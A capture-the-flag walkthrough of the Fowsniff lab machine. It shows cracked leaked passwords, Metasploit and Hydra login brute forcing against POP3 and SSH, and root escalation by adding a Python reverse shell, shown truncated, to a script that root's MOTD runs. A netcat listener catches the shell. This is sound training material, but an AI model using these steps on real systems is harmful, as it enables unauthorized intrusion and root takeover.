FowSniff CTF Write-Up:

Start with a simple nmap scan:

```
# Nmap 7.92 scan initiated Wed Apr  3 08:17:06 2024 as: nmap -sC -sV -oN nmap -p- 10.10.189.80
Nmap scan report for 10.10.189.80
Host is up (0.077s latency).
Not shown: 65531 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 90:35:66:f4:c6:d2:95:12:1b:e8:cd:de:aa:4e:03:23 (RSA)
|   256 53:9d:23:67:34:cf:0a:d5:5a:9a:11:74:bd:fd:de:71 (ECDSA)
|_  256 a2:8f:db:ae:9e:3d:c9:e6:a9:ca:03:b1:d7:1b:66:83 (ED25519)
80/tcp  open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Fowsniff Corp - Delivering Solutions
|_http-server-header: Apache/2.4.18 (Ubuntu)
110/tcp open  pop3    Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) TOP CAPA AUTH-RESP-CODE UIDL RESP-CODES USER PIPELINING
143/tcp open  imap    Dovecot imapd
|_imap-capabilities: AUTH=PLAINA0001 LITERAL+ ENABLE IMAP4rev1 ID more SASL-IR have listed IDLE post-login capabilities Pre-lo
gin OK LOGIN-REFERRALS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr  3 08:19:12 2024 -- 1 IP address (1 host up) scanned in 125.91 seconds
```

So we have a web server on port 80 and apop3 (mail) on 110, lets take a look at the website:

Fowsniff's internal system suffered a data breach that resulted in the exposure of employee usernames and passwords.

Client information was not affected.

Due to the strong possibility that employee information has been made publicly available, all employees have been instructed to change their passwords immediately.

The attackers were also able to hijack our official @fowsniffcorp Twitter account. All of our official tweets have been deleted and the attackers may release sensitive information via this medium. We are working to resolve this at soon as possible.

We will return to full capacity after a service upgrade.

On the website they tell us that there was a breach of employees username and passwords. Lets look for it:

```
                    (_/
FowSniff Corp got pwn3d by B1gN1nj4!
No one is safe from my 1337 skillz!



mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e

Fowsniff Corporation Passwords LEAKED!
FOWSNIFF CORP PASSWORD DUMP!
```

Now that we have the leaked credentials lets crack the hashes and save them in a txt file for forther enumeration:

```
1 mauer mailcall
2 mustikka bilbo101
3 tegel apples01
4 baksteen skyler22
5 seina scoobydoo2
6 mursten carp4ever
7 parede orlando12
8 sciana 07011972
```

Now using Metasploit we can bruteforce the pop3 server to see if any of these credentials is a valid username and password:

Use the scanner/pop3/pop3_login and set the right options:

```
msf6 auxiliary(scanner/pop3/pop3_login) > set rhost 10.10.34.191
rhost => 10.10.34.191
msf6 auxiliary(scanner/pop3/pop3_login) > set userpass_file "/root/Desktop/TryHackMe/Linux CTFs/POC CTF's/fowsniff1/creds.txt"
userpass_file => /root/Desktop/TryHackMe/Linux CTFs/POC CTF's/fowsniff1/creds.txt
msf6 auxiliary(scanner/pop3/pop3_login) > unset USER_FILE
Unsetting USER_FILE...
msf6 auxiliary(scanner/pop3/pop3_login) > unset PASS_FILE
Unsetting PASS_FILE...
```

Exploit:

```
msf6 auxiliary(scanner/pop3/pop3_login) > exploit

[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'mauer:mailcall', '-ERR [AUTH] Authentication failed.'
[!] 10.10.34.191:110      - No active DB -- Credential data will not be saved!
[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'mustikka:bilbo101', '-ERR [AUTH] Authentication failed.'
[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'tegel:apples01', '-ERR [AUTH] Authentication failed.'
[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'baksteen:skyler22', ''
[+] 10.10.34.191:110      - 10.10.34.191:110 - Success: 'seina:scoobydoo2' '+OK Logged in.  '
[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'mursten:carp4ever', '-ERR [AUTH] Authentication failed.'
[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'parede:orlando12', '-ERR [AUTH] Authentication failed.'
[-] 10.10.34.191:110      - 10.10.34.191:110 - Failed: 'sciana:07011972', '-ERR [AUTH] Authentication failed.'
[*] 10.10.34.191:110      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

So we found the credentials 'seina:scoobydoo2' are valid , lets log in to the pop3 and see if we can find something interesting:

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/fowsniff1]
└─# telnet 10.10.34.191 110
Trying 10.10.34.191 ...
Connected to 10.10.34.191.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
USER seina
+OK
PASS scoobydoo2
+OK Logged in.
```

List the mails available:

```
list
+OK 2 messages:
1 1622
2 1280
```

Lets read the first mail:

```
retr 1
+OK 1622 octets
Return-Path: <stone@fowsniff>
X-Original-To: seina@fowsniff
Delivered-To: seina@fowsniff
Received: by fowsniff (Postfix, from userid 1000)
        id 0FA3916A; Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
To: baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff,
    mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff,
```

```
The temporary password for SSH is "S1ck3nBluff+secureshell"
```

So we have a temporary password to connect with ssh but we don't know the user name , using hydra I found it in two seconds, create a file with all the usernames found earlier:

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/fowsniff1]
└─# hydra -L usernames.txt -p S1ck3nBluff+secureshell ssh://10.10.34.191 -I -V
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal
purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-03 11:59:49
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 8 tasks per 1 server, overall 8 tasks, 8 login tries (l:8/p:1), ~1 try per task
[DATA] attacking ssh://10.10.34.191:22/
[ATTEMPT] target 10.10.34.191 - login "mauer" - pass "S1ck3nBluff+secureshell" - 1 of 8 [child 0] (0/0)
[ATTEMPT] target 10.10.34.191 - login "mustikka" - pass "S1ck3nBluff+secureshell" - 2 of 8 [child 1] (0/0)
[ATTEMPT] target 10.10.34.191 - login "tegel" - pass "S1ck3nBluff+secureshell" - 3 of 8 [child 2] (0/0)
[ATTEMPT] target 10.10.34.191 - login "baksteen" - pass "S1ck3nBluff+secureshell" - 4 of 8 [child 3] (0/0)
[ATTEMPT] target 10.10.34.191 - login "seina" - pass "S1ck3nBluff+secureshell" - 5 of 8 [child 4] (0/0)
[ATTEMPT] target 10.10.34.191 - login "mursten" - pass "S1ck3nBluff+secureshell" - 6 of 8 [child 5] (0/0)
[ATTEMPT] target 10.10.34.191 - login "parede" - pass "S1ck3nBluff+secureshell" - 7 of 8 [child 6] (0/0)
[ATTEMPT] target 10.10.34.191 - login "sciana" - pass "S1ck3nBluff+secureshell" - 8 of 8 [child 7] (0/0)
[22][ssh] host: 10.10.34.191   login: baksteen   password: S1ck3nBluff+secureshell
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-03 11:59:52
```

Lets ssh to the machine:

```
                       ____                                  _   __   __
    :sddddddddddddddd+ |  ___|____      _____ _ __ (_)/ _|/ _|
  :yNMMMMMMMMMMMMMMNmhsso | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmNdyssssso |  _| (_) \ V  V /\__ \ | | | |  _|  _|
-:      y.      dssssssso |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|
-:      y.      dssssssso                 ___
-:      y.      dssssssso                / ___|___  _ __ _ __
-:      y.      dssssssso               | |   / _ \| '__| '_ \
-:      o.      dssssssso               | |__| (_) | |  | |_) |  _
-:      o.      ysssssssso               \____\___/|_|  | .__/  (_)
-:    .+mddddddmyyyyyhy:                               |_|
-: -odMMMMMMMMMMmhhdy/.
.ohdddddddddddddho:                   Delivering Solutions


   ****  Welcome to the Fowsniff Corporate Server! ****

              ---------- NOTICE: ----------

 * Due to the recent security breach, we are running on a very minimal system.
 * Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.


Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$
```

Now we need to escalate our privileges to root, so for start lets check what groups are the current user in:

```
baksteen@fowsniff:~$ groups
users baksteen
```

Check if there is any interesting files that belong to the 'users' group:

(there is a lot so I grep for scripts)

```
baksteen@fowsniff:~$ find / -group users 2>/dev/null | grep .sh
/opt/cube/cube.sh
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/.bashrc
```

Lets take a look at the cube.sh script:

```
baksteen@fowsniff:~$ cat /opt/cube/cube.sh
printf "
                       _____                          _   __   __
      :sddddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|
   :yNMMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_
.sdmmmmmNmmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|
-:      y.      dssssssso                 ____
-:      y.      dssssssso                / ___|___  _ __ _ __
-:      y.      dssssssso               | |   / _ \| '__| '_ \
-:      o.      dssssssso               | |__| (_) | |  | |_) |  _
-:      o.      ysssssssso               \____\___/|_|  | .__/  (_)
-:    .+mdddddddmyyyyyhy:                              |_|
-: -odMMMMMMMMMMmhhdy/.
.ohddddddddddddddho:                  Delivering Solutions\n\n"
```

Its look like the logo that appear when we first log in via ssh, lets check it out –

Go in /etc/update-motd.d/ :

(Executable scripts in */etc/update-motd.d/** are executed by pam_motd(8) as the root user at each login)

```
baksteen@fowsniff:/etc/update-motd.d$ ls -la
total 24
drwxr-xr-x  2 root root 4096 Mar 11  2018 .
drwxr-xr-x 87 root root 4096 Dec  9  2018 ..
-rwxr-xr-x  1 root root 1248 Mar 11  2018 00-header
-rwxr-xr-x  1 root root 1473 Mar  9  2018 10-help-text
-rwxr-xr-x  1 root root  299 Jul 22  2016 91-release-upgrade
-rwxr-xr-x  1 root root  604 Nov  5  2017 99-esm
```

In 00-header I found that it run the cube.sh script , so it means that every time someone login via ssh the script cube will run (as root!),

so lets edit the cube.sh script and add a python reverse shell:

```
  GNU nano 2.5.3                                File: cube.sh
printf "
                                                  _   __   __
        :sdddddddddddddddy+   _____                _ __  (_)/ _|/ _|
      :yNMMMMMMMMMMMMMMNmhsso  |  __|____      ____ _ __ (_)/ _|/ _|
.sdmmmmmNmmmmmmmmNdyssssso  | |_ / _ \\ \ /\ / / __| '_ \| | |_| |_
-:         y.       dssssssso  |_|  (_) \ V  V /\__ \ | | | |  _|  _|
-:         y.       dssssssso  |_|   \___/ \_/\_/ |___/_| |_|_|_| |_|
-:         y.       dssssssso
-:         y.       dssssssso
-:         y.       dssssssso
-:         o.       dssssssso
-:         o.       ysssssssso
-:       .+mddddddmyyyyyhy:
-: -odMMMMMMMMMMMMmhhdy/.
.ohdddddddddddddho:                    Delivering Solutions\n\n"
python3 -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_S
```

Now all we have to do is to start a listener and start a new ssh session and we will get a root shell:

```
┌──(user㉿moti-kali)-[~/…/TryHackMe/Linux CTFs/POC CTF's/fowsniff1]
└─# ssh -l baksteen 10.10.34.191
baksteen@10.10.34.191's password:
```

```
┌──(user㉿moti-kali)-[~]
└─# nc -nlvp 4242
listening on [any] 4242 ...
connect to [10.8.41.134] from (UNKNOWN) [10.10.34.191] 60206
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#
```

Obtain the flag:

```
# cat flag.txt
  ___                                  _       _       _   _                 _
 / __|___ _ _  __ _ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| |
| (__/ _ \ ' \ v _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|
 \___\___/_||_\__, |_| \__,_|\__|\_,_|_|\__,_|\__|_\___/_||_/__(_)
                |___/

 (_)
  |┌──────────────
  |&&&&&&&&&&&&&&&|
  |     R O O T   |
  |     F L A G   |
  |&&&&&&&&&&&&&&&|
  |└──────────────
  |
  |
  |
  |
  |
  |
  |
  |
  ___

Nice work!

This CTF was built with love in every byte by @berzerk0 on Twitter.
```